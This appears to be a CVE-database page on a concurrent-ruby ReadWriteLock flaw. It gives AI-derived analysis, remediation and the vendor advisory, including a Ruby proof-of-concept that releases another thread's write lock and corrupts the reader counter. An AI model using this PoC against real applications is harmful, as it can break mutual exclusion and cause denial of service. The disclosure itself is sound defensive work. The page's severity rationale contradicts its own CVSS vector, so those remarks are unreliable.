Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessExecute code as thread in target Ruby process
-
DeliveryObtain reference to shared ReadWriteLock instance
-
ExploitCall release_write_lock from non-owning thread
-
ExecutionRUNNING_WRITER bit cleared while Writer 1 still runs
-
PersistSecond writer acquires lock concurrently
-
ImpactData race corrupts protected shared state
Vulnerability Assessment
| Weakness |
CWE
|
| Exploitation Conditions | The write-lock bypass requires that the attacker control or influence a Ruby thread executing within the same OS process as the target application, and that thread must hold a reference to the specific Concurrent::ReadWriteLock instance under attack. The application must use the manual acquire_write_lock / release_write_lock API rather than the block form with_write_lock. A second writer thread must be available to acquire the lock after the attacker clears the RUNNING_WRITER bit. External network attackers cannot trigger this without prior arbitrary code execution in the Ruby process. For the counter-corruption denial-of-service path, the only condition is that any thread with access to the lock object calls release_read_lock without a prior acquire_read_lock; no timing coordination or second thread is needed. Both exploitation paths are limited to in-process scenarios and do not require elevated OS-level privileges or special Ruby runtime configuration. |
| Impact | Real-world risk is moderate and scoped to in-process threat models. No NVD CVSS vector or EPSS score was provided for this CVE; all metric assessments below are independently derived from the advisory description and reproduction evidence. There is no CISA KEV listing, and this is not a remotely exploitable network vulnerability. The primary threat actors are: (a) untrusted code running as threads within the same Ruby process, such as plugin systems or multi-tenant job queues, and (b) application-level coding defects that call release methods outside a proper acquire/release pair. The integrity impact is high when the lock protects shared mutable state, as the write-exclusion bypass directly creates data races. The availability impact is concrete but bounded: only the specific lock instance becomes permanently unusable after counter corruption; other locks and the broader process are unaffected. The DoS tag in the advisory accurately reflects the stray read-release path. This is not a high-CVSS-but-low-real-risk situation - it is a genuine correctness flaw with meaningful impact in concurrent Ruby applications, though its exploitability is substantially constrained by the requirement to execute code within the same process. |
| Exploit ScenarioDerived | A proof-of-concept is included in the GitHub Security Advisory. An attacker thread running within the same Ruby process obtains a reference to a shared Concurrent::ReadWriteLock instance, waits for a legitimate writer to signal lock acquisition, then immediately calls release_write_lock from the attacker thread - which succeeds without ownership verification. A second writer thread can then acquire the write lock and execute concurrently with the still-running first writer, creating a data race on any shared mutable state the lock was intended to protect. In the counter-corruption path, the attacker calls release_read_lock on a fresh or idle lock, driving the counter to -1, after which all subsequent read acquisitions by all threads fail with Concurrent::ResourceLimitError. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 19, 2026
Write-lock mutual exclusion in concurrent-ruby's ReadWriteLock is broken in versions prior to 1.3.7, allowing any thread with a reference to the lock object to prematurely release another thread's active write lock, enabling concurrent writers and data races on protected shared state. Additionally, calling release_read_lock without holding a read lock corrupts the internal atomic counter from 0 to -1, causing all subsequent read acquisitions to fail with Concurrent::ResourceLimitError. Both defects are confirmed reproducible via publicly available proof-of-concept code in the GitHub Security Advisory GHSA-6wx8-w4f5-wwcr; no CISA KEV listing exists, and exploitation is constrained to in-process thread scenarios.
RemediationAI
Upgrade concurrent-ruby to version 1.3.7 or later, which is the vendor-released patch confirmed in the RubyGems advisory metadata. Run 'gem update concurrent-ruby' or update the Gemfile constraint to '>= 1.3.7' and re-bundle. The advisory is at https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-6wx8-w4f5-wwcr. If an immediate upgrade is not feasible, prefer the block-form API - with_write_lock and with_read_lock - which encapsulates acquire and release within the same lexical scope and eliminates the possibility of mismatched cross-thread calls; note this does not fix the underlying library defect, only reduces the probability of triggering it. As a further compensating control, audit all callsites using the manual acquire_write_lock / release_write_lock / release_read_lock methods to ensure release is always performed by the same thread that called acquire, enforced via a thread-local ownership token at the application layer. Plugin or multi-tenant architectures that allow untrusted code to reference shared lock objects should consider isolating lock instances per tenant to limit blast radius.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in rubygems
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is Concurrent::ReadWriteLock from the concurrent-ruby gem (pkg:rubygems/concurrent-ruby), a widely-used Ruby concurrency library providing thread-safe abstractions. The lock uses a single atomic integer counter (@Counter) to encode combined state: a RUNNING_WRITER bit and a running-reader count. CWE-414 (Missing Lock Check) precisely describes the root cause: release_write_lock checks only whether running_writer?() returns true - confirming that some writer is active - but never records or validates which thread acquired the lock. Because thread ownership is not tracked, any thread with a reference to the lock can clear the RUNNING_WRITER bit, unblocking a second writer while the first is still executing. The release_read_lock method compounds this by unconditionally applying compare_and_set to decrement the counter without verifying the caller holds a read token; a counter of 0 becomes -1, which the maximum-reader boundary check subsequently misreads as a saturated reader count, causing Concurrent::ResourceLimitError on all future acquire_read_lock calls.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
AV:L and PR:L because exploitation requires executing code as a thread in the target process; I:H for write-exclusion bypass enabling data races; A:L for bounded single-lock DoS.
Primary rating from Vendor (https://github.com/ruby-concurrency/concurrent-ruby).
CVSS VectorVendor: https://github.com/ruby-concurrency/concurrent-ruby
Lifecycle Timeline
1DescriptionCVE.org
Summary
Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.
Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError.
This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
release_write_lock checks only whether the global counter indicates that a writer is running. It does not track or verify ownership:
def release_write_lock
return true unless running_writer?
c = @Counter.update { |counter| counter - RUNNING_WRITER }
@ReadLock.broadcast
@WriteLock.signal if waiting_writers(c) > 0
true
endBecause ownership is not checked, a different thread can clear the RUNNING_WRITER bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.
release_read_lock unconditionally decrements the shared counter:
def release_read_lock
while true
c = @Counter.value
if @Counter.compare_and_set(c, c-1)
if waiting_writer?(c) && running_readers(c) == 1
@WriteLock.signal
end
break
end
end
true
endOn a fresh lock, this changes the counter from 0 to -1. A later acquire_read_lock raises Concurrent::ResourceLimitError because the maximum-reader check masks the negative counter as saturated.
Reproduce
From the root of a concurrent-ruby checkout, run:
ruby -Ilib/concurrent-ruby - <<'RUBY'
require 'concurrent/atomic/read_write_lock'
require 'concurrent/version'
require 'thread'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=ReadWriteLock release methods corrupt or bypass lock state"
lock = Concurrent::ReadWriteLock.new
events = Queue.new
writer1_inside = false
writer1 = Thread.new do
lock.acquire_write_lock
writer1_inside = true
events << :writer1_acquired
sleep 0.5
writer1_inside = false
lock.release_write_lock
events << :writer1_finished
end
events.pop
puts 'writer1_acquired=true'
intruder_result = nil
intruder = Thread.new do
intruder_result = lock.release_write_lock
end
intruder.join
puts "wrong_thread_release_write_lock_returned=#{intruder_result}"
writer2_entered_while_writer1_inside = nil
writer2 = Thread.new do
lock.acquire_write_lock
writer2_entered_while_writer1_inside = writer1_inside
lock.release_write_lock
end
writer2.join(0.25)
puts "writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}"
writer1.join
lock2 = Concurrent::ReadWriteLock.new
stray_read_release_result = lock2.release_read_lock
counter_after_stray_read_release = lock2.instance_eval { @Counter.value }
read_after_stray_release = begin
lock2.acquire_read_lock
'acquired'
rescue => error
"#{error.class}: #{error.message}"
end
puts "stray_release_read_lock_returned=#{stray_read_release_result}"
puts "counter_after_stray_read_release=#{counter_after_stray_read_release}"
puts "acquire_read_after_stray_release=#{read_after_stray_release}"
if intruder_result && writer2_entered_while_writer1_inside && counter_after_stray_read_release == -1
puts 'result=REPRODUCED wrong-thread write release and stray read-release corruption'
else
puts 'result=NOT_REPRODUCED'
endExpected result:
- A second thread successfully calls
release_write_lockwhile the first writer still holds the lock. - A second writer enters while the first writer is still inside the write critical section.
- Calling
release_read_lockon a fresh lock changes the counter to-1. - A subsequent read acquisition fails with
Concurrent::ResourceLimitError.
Log evidence
Local reproduction output:
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=ReadWriteLock release methods corrupt or bypass lock state
writer1_acquired=true
wrong_thread_release_write_lock_returned=true
writer2_acquired_while_writer1_inside=true
stray_release_read_lock_returned=true
counter_after_stray_read_release=-1
acquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads
result=REPRODUCED wrong-thread write release and stray read-release corruptionImpact
This can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release. The impact is local to applications that expose or misuse the manual acquire_* / release_* APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.
Credit
Pranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
EUVD-2026-38811
GHSA-6wx8-w4f5-wwcr
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB